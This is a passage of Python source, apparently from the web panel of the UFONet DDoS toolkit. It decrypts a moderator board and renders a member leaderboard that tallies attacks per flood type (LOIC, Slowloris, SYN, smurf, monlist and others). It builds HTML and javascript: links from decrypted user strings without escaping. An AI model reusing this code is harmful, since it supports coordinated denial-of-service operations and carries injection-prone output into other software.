except:
6678
filter = ""
6679
end_mark = "\n[Info] [AI] End of decryption."
6680
if board_key != "": # board decryption
6681
nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
6682
f = open("/tmp/out", "w")
6683
b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
6684
f.write(str(b)+"\n")
6685
self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
6686
for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
6687
if board_msg_sep in m:
6688
m = m.split(board_msg_sep)
6689
topic = m[0] # topic
6690
t = m[1] # icon
6691
n = m[2] # nick
6692
g = m[3] # id
6693
l = m[4] # comment
6694
if topic == "1":
6695
topic = "/GENERAL"
6696
elif topic == "2":
6697
topic = "/#OPSEC "
6698
elif topic == "3":
6699
topic = "/FAQ "
6700
elif topic == "4":
6701
topic = "/BUGS "
6702
elif topic == "5":
6703
topic = "/MEDIA "
6704
else:
6705
topic = "/BUGS[!]"
6706
operator_img = open("core/images/crew/link"+str(t)+".txt").read()
6707
icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
6708
self.decrypt(board_key, n)
6709
if self.decryptedtext:
6710
nick = self.decryptedtext
6711
else:
6712
nick = 'Anonymous' # We are legion!
6713
try:
6714
nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
6715
except:
6716
pass
6717
if len(nick) < 3:
6718
nick = 'Anonymous'
6719
self.decryptedtext = "" # clean decryptedtext buffer
6720
id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
6721
self.decrypt(board_key, l)
6722
if self.decryptedtext:
6723
msg = self.decryptedtext
6724
else:
6725
msg = nodec_text
6726
try:
6727
msg = msg.decode('latin-1')
6728
except:
6729
pass
6730
if len(msg) < 2:
6731
msg = nodec_text
6732
self.decryptedtext = "" # clean decryptedtext buffer
6733
if filter in topic or filter == "ALL": # filter content by user selection
6734
b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
6735
b += "<font size=+2>"+str(topic)+"</font>"
6736
b += "<br>by "+str(nick)+"<br><br>"
6737
b += str(msg) + "</td></tr>"
6738
f.write(str(b)+"\n")
6739
else:
6740
pass
6741
else: # not valid stream data
6742
pass
6743
b="</table>"
6744
f.write(str(b)+"\n")
6745
f.write(end_mark)
6746
f.close()
6747
if page == "/cmd_decrypt_moderator_board_update":
6748
if not os.path.exists('/tmp/out'):
6749
open('/tmp/out', 'w').close()
6750
with open('/tmp/out', 'r') as f:
6751
self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
6752
if page == "/cmd_decrypt_grid":
6753
self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
6754
try:
6755
grid_key = pGet["grid_key"]
6756
except:
6757
grid_key = ""
6758
end_mark = "[Info] [AI] End of decryption."
6759
if grid_key != "": # grid decryption
6760
# Mothership stats counters
6761
mothership_members = 0
6762
unknown_members = 0
6763
member_1 = 0 # Rookie
6764
member_2 = 0 # Mercenary
6765
member_3 = 0 # Bandit
6766
member_4 = 0 # UFOmmander!
6767
member_5 = 0 # UFOl33t!
6768
mothership_missions = 0
6769
mothership_transferred = 0
6770
mothership_attacks = 0
6771
mothership_loic = 0
6772
mothership_loris = 0
6773
mothership_ufosyn = 0
6774
mothership_spray = 0
6775
mothership_smurf = 0
6776
mothership_xmas = 0
6777
mothership_nuke = 0
6778
mothership_tachyon = 0
6779
mothership_monlist = 0
6780
mothership_fraggle = 0
6781
mothership_sniper = 0
6782
mothership_ufoack = 0
6783
mothership_uforst = 0
6784
mothership_droper = 0
6785
mothership_overlap = 0
6786
mothership_pinger = 0
6787
mothership_ufoudp = 0
6788
mothership_chargo = 0
6789
mothership_dorking = 0
6790
mothership_maxchargo = 0
6791
nodec_text = "KEY?"
6792
grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_fraggle' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('fraggle','"+str(grid_key)+"')>FRAGGLE:</a></td><td align='center'><a id='filter_sniper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('sniper','"+str(grid_key)+"')>SNIPER:</a></td><td align='center'><a id='filter_ufoack' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoack','"+str(grid_key)+"')>UFOACK:</a></td><td align='center'><a id='filter_uforst' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('uforst','"+str(grid_key)+"')>UFORST:</a></td><td align='center'><a id='filter_droper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('droper','"+str(grid_key)+"')>DROPER:</a></td><td align='center'><a id='filter_overlap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('overlap','"+str(grid_key)+"')>OVERLAP:</a></td><td align='center'><a id='filter_pinger' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('pinger','"+str(grid_key)+"')>PINGER:</a></td><td align='center'><a id='filter_ufoudp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoudp','"+str(grid_key)+"')>UFOUDP:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
6793
grid_key = pGet["grid_key"]
6794
f = open("/tmp/out", "w")
6795
self.list_grid_rev = reversed(self.list_grid) # order by DESC
6796
for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
6797
if grid_msg_sep in m:
6798
version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5)
6799
m = m.split(grid_msg_sep)
6800
mothership_members = mothership_members + 1 # add new registered member to mothership stats
6801
grid_nickname = m[0] # nickname
6802
self.decrypt(grid_key, grid_nickname)
6803
if self.decryptedtext:
6804
grid_nickname = self.decryptedtext
6805
else:
6806
grid_nickname = nodec_text
6807
unknown_members = unknown_members + 1 # add members as unknown
6808
self.decryptedtext = "" # clean decryptedtext buffer
6809
if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
6810
grid_nickname = "Anonymous"
6811
else:
6812
grid_nickname = str(grid_nickname) # nickname
6813
grid_ranking = m[1] # ranking
6814
self.decrypt(grid_key, grid_ranking)
6815
if self.decryptedtext:
6816
try:
6817
grid_ranking = int(self.decryptedtext)
6818
except:
6819
grid_ranking = nodec_text
6820
else:
6821
grid_ranking = nodec_text
6822
self.decryptedtext = "" # clean decryptedtext buffer
6823
if grid_ranking == 1: #Rookie
6824
grid_ranking = "<font color='white' size='4'>*</font>"
6825
member_1 = member_1 + 1
6826
elif grid_ranking == 2: # Mercenary
6827
grid_ranking = "<font color='cyan' size='4'>**</font>"
6828
member_2 = member_2 + 1
6829
elif grid_ranking == 3: # Bandit
6830
grid_ranking = "<font color='blueviolet' size='4'>***</font>"
6831
member_3 = member_3 + 1
6832
elif grid_ranking == 4: # UFOmmander!
6833
grid_ranking = "<font color='blue' size='4'>****</font>"
6834
member_4 = member_4 + 1
6835
elif grid_ranking == 5: # UFOl33t!
6836
grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
6837
member_5 = member_5 + 1
6838
else:
6839
grid_ranking = nodec_text
6840
grid_totalchargo = m[2] # total chargo
6841
self.decrypt(grid_key, grid_totalchargo)
6842
if self.decryptedtext:
6843
grid_totalchargo = self.decryptedtext
6844
else:
6845
grid_totalchargo = nodec_text
6846
self.decryptedtext = "" # clean decryptedtext buffer
6847
try: # parse for int
6848
grid_totalchargo = int(grid_totalchargo)
6849
mothership_chargo = mothership_chargo + grid_totalchargo
6850
except:
6851
grid_totalchargo = nodec_text
6852
grid_dorking = m[3] # dorking
6853
self.decrypt(grid_key, grid_dorking)
6854
if self.decryptedtext:
6855
grid_dorking = self.decryptedtext
6856
else:
6857
grid_dorking = nodec_text
6858
self.decryptedtext = "" # clean decryptedtext buffer
6859
try: # parse for int
6860
grid_dorking = int(grid_dorking)
6861
mothership_dorking = mothership_dorking + grid_dorking
6862
except:
6863
grid_dorking = nodec_text
6864
grid_transferred = m[4] # transferred
6865
self.decrypt(grid_key, grid_transferred)
6866
if self.decryptedtext:
6867
grid_transferred = self.decryptedtext
6868
else:
6869
grid_transferred = nodec_text
6870
self.decryptedtext = "" # clean decryptedtext buffer
6871
try: # parse for int
6872
grid_transferred = int(grid_transferred)
6873
mothership_transferred = mothership_transferred + grid_transferred
6874
except:
6875
grid_transferred = nodec_text
6876
grid_maxchargo = m[5] # maxchargo
6877
self.decrypt(grid_key, grid_maxchargo)
6878
if self.decryptedtext:
6879
grid_maxchargo = self.decryptedtext
6880
else:
6881
grid_maxchargo = nodec_text
6882
self.decryptedtext = "" # clean decryptedtext buffer
6883
try: # parse for int
6884
grid_maxchargo = int(grid_maxchargo)
6885
mothership_maxchargo = mothership_maxchargo + grid_maxchargo
6886
except:
6887
grid_maxchargo = nodec_text
6888
grid_missions = m[6] # missions
6889
self.decrypt(grid_key, grid_missions)
6890
if self.decryptedtext:
6891
grid_missions = self.decryptedtext
6892
else:
6893
grid_missions = nodec_text
6894
self.decryptedtext = "" # clean decryptedtext buffer
6895
try: # parse for int
6896
grid_missions = int(grid_missions)
6897
mothership_missions = mothership_missions + grid_missions
6898
except:
6899
grid_missions = nodec_text
6900
grid_attacks = m[7] # attacks
6901
self.decrypt(grid_key, grid_attacks)
6902
if self.decryptedtext:
6903
grid_attacks = self.decryptedtext
6904
else:
6905
grid_attacks = nodec_text
6906
self.decryptedtext = "" # clean decryptedtext buffer
6907
try: # parse for int
6908
grid_attacks = int(grid_attacks)
6909
mothership_attacks = mothership_attacks + grid_attacks
6910
except:
6911
grid_attacks = nodec_text
6912
grid_loic = m[8] # loic
6913
self.decrypt(grid_key, grid_loic)
6914
if self.decryptedtext:
6915
grid_loic = self.decryptedtext
6916
else:
6917
grid_loic = nodec_text
6918
self.decryptedtext = "" # clean decryptedtext buffer
6919
try: # parse for int
6920
grid_loic = int(grid_loic)
6921
mothership_loic = mothership_loic + grid_loic
6922
except:
6923
grid_loic = nodec_text
6924
if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
6925
grid_loris = m[9] # loris
6926
self.decrypt(grid_key, grid_loris)
6927
if self.decryptedtext:
6928
grid_loris = self.decryptedtext
6929
else:
6930
grid_loris = nodec_text
6931
self.decryptedtext = "" # clean decryptedtext buffer
6932
try: # parse for int
6933
grid_loris = int(grid_loris)
6934
mothership_loris = mothership_loris + grid_loris
6935
except:
6936
grid_loris = nodec_text
6937
else:
6938
grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
6939
self.decrypt(grid_key, grid_loris)
6940
if self.decryptedtext:
6941
grid_loris = self.decryptedtext
6942
else:
6943
grid_loris = nodec_text
6944
self.decryptedtext = "" # clean decryptedtext buffer
6945
try: # parse for int
6946
grid_loris = int(grid_loris)
6947
mothership_loris = mothership_loris + grid_loris
6948
except:
6949
grid_loris = nodec_text
6950
if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
6951
grid_ufosyn = m[10] # ufosyn
6952
self.decrypt(grid_key, grid_ufosyn)
6953
if self.decryptedtext:
6954
grid_ufosyn = self.decryptedtext
6955
else:
6956
grid_ufosyn = nodec_text
6957
self.decryptedtext = "" # clean decryptedtext buffer
6958
try: # parse for int
6959
grid_ufosyn = int(grid_ufosyn)
6960
mothership_ufosyn = mothership_ufosyn + grid_ufosyn
6961
except:
6962
grid_ufosyn = nodec_text
6963
else:
6964
grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
6965
self.decrypt(grid_key, grid_ufosyn)
6966
if self.decryptedtext:
6967
grid_ufosyn = self.decryptedtext
6968
else:
6969
grid_ufosyn = nodec_text
6970
self.decryptedtext = "" # clean decryptedtext buffer
6971
try: # parse for int
6972
grid_ufosyn = int(grid_ufosyn)
6973
mothership_ufosyn = mothership_ufosyn + grid_ufosyn
6974
except:
6975
grid_ufosyn = nodec_text
6976
if version > 17 or version == 17 or version == 16 or version == 15:
6977
grid_spray = m[11] # spray
6978
self.decrypt(grid_key, grid_spray)
6979
if self.decryptedtext:
6980
grid_spray = self.decryptedtext
6981
else:
6982
grid_spray = nodec_text
6983
self.decryptedtext = "" # clean decryptedtext buffer
6984
try: # parse for int
6985
grid_spray = int(grid_spray)
6986
mothership_spray = mothership_spray + grid_spray
6987
except:
6988
grid_spray = nodec_text
6989
else:
6990
grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
6991
self.decrypt(grid_key, grid_spray)
6992
if self.decryptedtext:
6993
grid_spray = self.decryptedtext
6994
else:
6995
grid_spray = nodec_text
6996
self.decryptedtext = "" # clean decryptedtext buffer
6997
try: # parse for int
6998
grid_spray = int(grid_spray)
6999
mothership_spray = mothership_spray + grid_spray
7000
except:
7001
grid_spray = nodec_text
7002
if version > 17 or version == 17 or version == 16 or version == 15:
7003
grid_smurf = m[12] # smurf
7004
self.decrypt(grid_key, grid_smurf)
7005
if self.decryptedtext:
7006
grid_smurf = self.decryptedtext
7007
else:
7008
grid_smurf = nodec_text
7009
self.decryptedtext = "" # clean decryptedtext buffer
7010
try: # parse for int
7011
grid_smurf = int(grid_smurf)
7012
mothership_smurf = mothership_smurf + grid_smurf
7013
except:
7014
grid_smurf = nodec_text
7015
else:
7016
grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
7017
self.decrypt(grid_key, grid_smurf)
7018
if self.decryptedtext:
7019
grid_smurf = self.decryptedtext
7020
else:
7021
grid_smurf = nodec_text
7022
self.decryptedtext = "" # clean decryptedtext buffer
7023
try: # parse for int
7024
grid_smurf = int(grid_smurf)
7025
mothership_smurf = mothership_smurf + grid_smurf
7026
except:
7027
grid_smurf = nodec_text
7028
if version > 17 or version == 17 or version == 16 or version == 15:
7029
grid_xmas = m[13] # xmas
7030
self.decrypt(grid_key, grid_xmas)
7031
if self.decryptedtext:
7032
grid_xmas = self.decryptedtext
7033
else:
7034
grid_xmas = nodec_text
7035
self.decryptedtext = "" # clean decryptedtext buffer
7036
try: # parse for int
7037
grid_xmas = int(grid_xmas)
7038
mothership_xmas = mothership_xmas + grid_xmas
7039
except:
7040
grid_xmas = nodec_text
7041
else:
7042
grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
7043
self.decrypt(grid_key, grid_xmas)
7044
if self.decryptedtext:
7045
grid_xmas = self.decryptedtext
7046
else:
7047
grid_xmas = nodec_text
7048
self.decryptedtext = "" # clean decryptedtext buffer
7049
try: # parse for int
7050
grid_xmas = int(grid_xmas)
7051
mothership_xmas = mothership_xmas + grid_xmas
7052
except:
7053
grid_xmas = nodec_text
7054
if version > 17 or version == 17 or version == 16:
7055
grid_nuke = m[14] # nuke
7056
self.decrypt(grid_key, grid_nuke)
7057
if self.decryptedtext:
7058
grid_nuke = self.decryptedtext
7059
else:
7060
grid_nuke = nodec_text
7061
self.decryptedtext = "" # clean decryptedtext buffer
7062
try: # parse for int
7063
grid_nuke = int(grid_nuke)
7064
mothership_nuke = mothership_nuke + grid_nuke
7065
except:
7066
grid_nuke = nodec_text
7067
else:
7068
grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
7069
self.decrypt(grid_key, grid_nuke)
7070
if self.decryptedtext:
7071
grid_nuke = self.decryptedtext
7072
else:
7073
grid_nuke = nodec_text
7074
self.decryptedtext = "" # clean decryptedtext buffer
7075
try: # parse for int
7076
grid_nuke = int(grid_nuke)
7077
mothership_nuke = mothership_nuke + grid_nuke
7078
except:
7079
grid_nuke = nodec_text
7080
if version > 17 or version == 17:
7081
grid_tachyon = m[15] # tachyon
7082
self.decrypt(grid_key, grid_tachyon)
7083
if self.decryptedtext:
7084
grid_tachyon = self.decryptedtext
7085
else:
7086
grid_tachyon = nodec_text
7087
self.decryptedtext = "" # clean decryptedtext buffer
7088
try: # parse for int
7089
grid_tachyon = int(grid_tachyon)
7090
mothership_tachyon = mothership_tachyon + grid_tachyon
7091
except:
7092
grid_tachyon = nodec_text
7093
else:
7094
grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
7095
self.decrypt(grid_key, grid_tachyon)
7096
if self.decryptedtext:
7097
grid_tachyon = self.decryptedtext
7098
else:
7099
grid_tachyon = nodec_text
7100
self.decryptedtext = "" # clean decryptedtext buffer
7101
try: # parse for int
7102
grid_tachyon = int(grid_tachyon)
7103
mothership_tachyon = mothership_tachyon + grid_tachyon
7104
except:
7105
grid_tachyon = nodec_text
7106
if version > 17:
7107
grid_monlist = m[16] # monlist
7108
self.decrypt(grid_key, grid_monlist)
7109
if self.decryptedtext:
7110
grid_monlist = self.decryptedtext
7111
else:
7112
grid_monlist = nodec_text
7113
self.decryptedtext = "" # clean decryptedtext buffer
7114
try: # parse for int
7115
grid_monlist = int(grid_monlist)
7116
mothership_monlist = mothership_monlist + grid_monlist
7117
except:
7118
grid_monlist = nodec_text
7119
grid_fraggle = m[17] # fraggle
7120
self.decrypt(grid_key, grid_fraggle)
7121
if self.decryptedtext:
7122
grid_fraggle = self.decryptedtext
7123
else:
7124
grid_fraggle = nodec_text
7125
self.decryptedtext = "" # clean decryptedtext buffer
7126
try: # parse for int
7127
grid_fraggle = int(grid_fraggle)
7128
mothership_fraggle = mothership_fraggle + grid_fraggle
7129
except:
7130
grid_fraggle = nodec_text
7131
grid_sniper = m[18] # sniper
7132
self.decrypt(grid_key, grid_sniper)
7133
if self.decryptedtext:
7134
grid_sniper = self.decryptedtext
7135
else:
7136
grid_sniper = nodec_text
7137
self.decryptedtext = "" # clean decryptedtext buffer
7138
try: # parse for int
7139
grid_sniper = int(grid_sniper)
7140
mothership_sniper = mothership_sniper + grid_sniper
7141
except:
7142
grid_sniper = nodec_text
7143
grid_ufoack = m[19] # ufoack
7144
self.decrypt(grid_key, grid_ufoack)
7145
if self.decryptedtext:
7146
grid_ufoack = self.decryptedtext
7147
else:
7148
grid_ufoack = nodec_text
7149
self.decryptedtext = "" # clean decryptedtext buffer
7150
try: # parse for int
7151
grid_ufoack = int(grid_ufoack)
7152
mothership_ufoack = mothership_ufoack + grid_ufoack
7153
except:
7154
grid_ufoack = nodec_text
7155
grid_uforst = m[20] # uforst
7156
self.decrypt(grid_key, grid_uforst)
7157
if self.decryptedtext:
7158
grid_uforst = self.decryptedtext
7159
else:
7160
grid_uforst = nodec_text
7161
self.decryptedtext = "" # clean decryptedtext buffer
7162
try: # parse for int
7163
grid_uforst = int(grid_uforst)
7164
mothership_uforst = mothership_uforst + grid_uforst
7165
except:
7166
grid_uforst = nodec_text
7167
grid_droper = m[21] # droper
7168
self.decrypt(grid_key, grid_droper)
7169
if self.decryptedtext:
7170
grid_droper = self.decryptedtext
7171
else:
7172
grid_droper = nodec_text
7173
self.decryptedtext = "" # clean decryptedtext buffer
7174
try: # parse for int
7175
grid_droper = int(grid_droper)
7176
mothership_droper = mothership_droper + grid_droper
7177
except:
7178
grid_droper = nodec_text
7179
grid_overlap = m[22] # overlap
7180
self.decrypt(grid_key, grid_overlap)
7181
if self.decryptedtext:
7182
grid_overlap = self.decryptedtext
7183
else:
7184
grid_overlap = nodec_text
7185
self.decryptedtext = "" # clean decryptedtext buffer
7186
try: # parse for int
7187
grid_overlap = int(grid_overlap)
7188
mothership_overlap = mothership_overlap + grid_overlap
7189
except:
7190
grid_overlap = nodec_text
7191
grid_pinger = m[23] # pinger
7192
self.decrypt(grid_key, grid_pinger)
7193
if self.decryptedtext:
7194
grid_pinger = self.decryptedtext
7195
else:
7196
grid_pinger = nodec_text
7197
self.decryptedtext = "" # clean decryptedtext buffer
7198
try: # parse for int
7199
grid_pinger = int(grid_pinger)
7200
mothership_pinger = mothership_pinger + grid_pinger
7201
except:
7202
grid_pinger = nodec_text
7203
grid_ufoudp = m[24] # ufoudp
7204
self.decrypt(grid_key, grid_ufoudp)
7205
if self.decryptedtext:
7206
grid_ufoudp = self.decryptedtext
7207
else:
7208
grid_ufoudp = nodec_text
7209
self.decryptedtext = "" # clean decryptedtext buffer
7210
try: # parse for int
7211
grid_ufoudp = int(grid_ufoudp)
7212
mothership_ufoudp = mothership_ufoudp + grid_ufoudp
7213
except:
7214
grid_ufoudp = nodec_text
7215
else:
7216
grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
7217
self.decrypt(grid_key, grid_monlist)
7218
if self.decryptedtext:
7219
grid_monlist = self.decryptedtext
7220
else:
7221
grid_monlist = nodec_text
7222
self.decryptedtext = "" # clean decryptedtext buffer
7223
try: # parse for int
7224
grid_monlist = int(grid_monlist)
7225
mothership_monlist = mothership_monlist + grid_monlist
7226
except:
7227
grid_monlist = nodec_text
7228
grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
7229
self.decrypt(grid_key, grid_fraggle)
7230
if self.decryptedtext:
7231
grid_fraggle = self.decryptedtext
7232
else:
7233
grid_fraggle = nodec_text
7234
self.decryptedtext = "" # clean decryptedtext buffer
7235
try: # parse for int
7236
grid_fraggle = int(grid_fraggle)
7237
mothership_fraggle = mothership_fraggle + grid_fraggle
7238
except:
7239
grid_fraggle = nodec_text
7240
grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
7241
self.decrypt(grid_key, grid_sniper)
7242
if self.decryptedtext:
7243
grid_sniper = self.decryptedtext
7244
else:
7245
grid_sniper = nodec_text
7246
self.decryptedtext = "" # clean decryptedtext buffer
7247
try: # parse for int
7248
grid_sniper = int(grid_sniper)
7249
mothership_sniper = mothership_sniper + grid_sniper
7250
except:
7251
grid_sniper = nodec_text
7252
grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
7253
self.decrypt(grid_key, grid_ufoack)
7254
if self.decryptedtext:
7255
grid_ufoack = self.decryptedtext
7256
else:
7257
grid_ufoack = nodec_text
7258
self.decryptedtext = "" # clean decryptedtext buffer
7259
try: # parse for int
7260
grid_ufoack = int(grid_ufoack)
7261
mothership_ufoack = mothership_ufoack + grid_ufoack
7262
except:
7263
grid_ufoack = nodec_text
7264
grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
7265
self.decrypt(grid_key, grid_uforst)
7266
if self.decryptedtext:
7267
grid_uforst = self.decryptedtext
7268
else:
7269
grid_uforst = nodec_text
7270
self.decryptedtext = "" # clean decryptedtext buffer
7271
try: # parse for int
7272
grid_uforst = int(grid_uforst)
7273
mothership_uforst = mothership_uforst + grid_uforst
7274
except:
7275
grid_uforst = nodec_text
7276
grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
7277
self.decrypt(grid_key, grid_droper)
7278
if self.decryptedtext:
7279
grid_droper = self.decryptedtext
7280
else:
7281
grid_droper = nodec_text
7282
self.decryptedtext = "" # clean decryptedtext buffer
7283
try: # parse for int
7284
grid_droper = int(grid_droper)
7285
mothership_droper = mothership_droper + grid_droper
7286
except:
7287
grid_droper = nodec_text
7288
grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
7289
self.decrypt(grid_key, grid_overlap)
7290
if self.decryptedtext:
7291
grid_overlap = self.decryptedtext
7292
else:
7293
grid_overlap = nodec_text
7294
self.decryptedtext = "" # clean decryptedtext buffer
7295
try: # parse for int
7296
grid_overlap = int(grid_overlap)
7297
mothership_overlap = mothership_overlap + grid_overlap
7298
except:
7299
grid_overlap = nodec_text
7300
grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
7301
self.decrypt(grid_key, grid_pinger)
7302
if self.decryptedtext:
7303
grid_pinger = self.decryptedtext
7304
else:
7305
grid_pinger = nodec_text
7306
self.decryptedtext = "" # clean decryptedtext buffer
7307
try: # parse for int
7308
grid_pinger = int(grid_pinger)
7309
mothership_pinger = mothership_pinger + grid_pinger
7310
except:
7311
grid_pinger = nodec_text
7312
grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
7313
self.decrypt(grid_key, grid_ufoudp)
7314
if self.decryptedtext:
7315
grid_ufoudp = self.decryptedtext
7316
else:
7317
grid_ufoudp = nodec_text
7318
self.decryptedtext = "" # clean decryptedtext buffer
7319
try: # parse for int
7320
grid_ufoudp = int(grid_ufoudp)
7321
mothership_ufoudp = mothership_ufoudp + grid_ufoudp
7322
except:
7323
grid_ufoudp = nodec_text
7324
if version == 26:
7325
grid_contact = m[25] # contact
7326
self.decrypt(grid_key, grid_contact)
7327
if self.decryptedtext:
7328
grid_contact = self.decryptedtext
7329
else:
7330
grid_contact = nodec_text
7331
self.decryptedtext = "" # clean decryptedtext buffer
7332
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3<str120)
7333
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7334
else:
7335
try:
7336
grid_contact = grid_contact.replace("b'", "")
7337
grid_contact = grid_contact.replace("'", "")
7338
if " " in grid_contact: # m[25] = grid_contact
7339
grid_contact = grid_contact.replace(" ","")
7340
grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
7341
except:
7342
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7343
try:
7344
grid_id = m[26] # id
7345
except:
7346
grid_id = '6666666666666666666666666666666666666' # fake id
7347
elif version == 17:
7348
grid_contact = m[16] # contact
7349
self.decrypt(grid_key, grid_contact)
7350
if self.decryptedtext:
7351
grid_contact = self.decryptedtext
7352
else:
7353
grid_contact = nodec_text
7354
self.decryptedtext = "" # clean decryptedtext buffer
7355
grid_contact = str(grid_contact) # contact
7356
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
7357
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7358
else:
7359
try:
7360
if " " in grid_contact: # m[16] = grid_contact
7361
grid_contact = grid_contact.replace(" ","")
7362
grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
7363
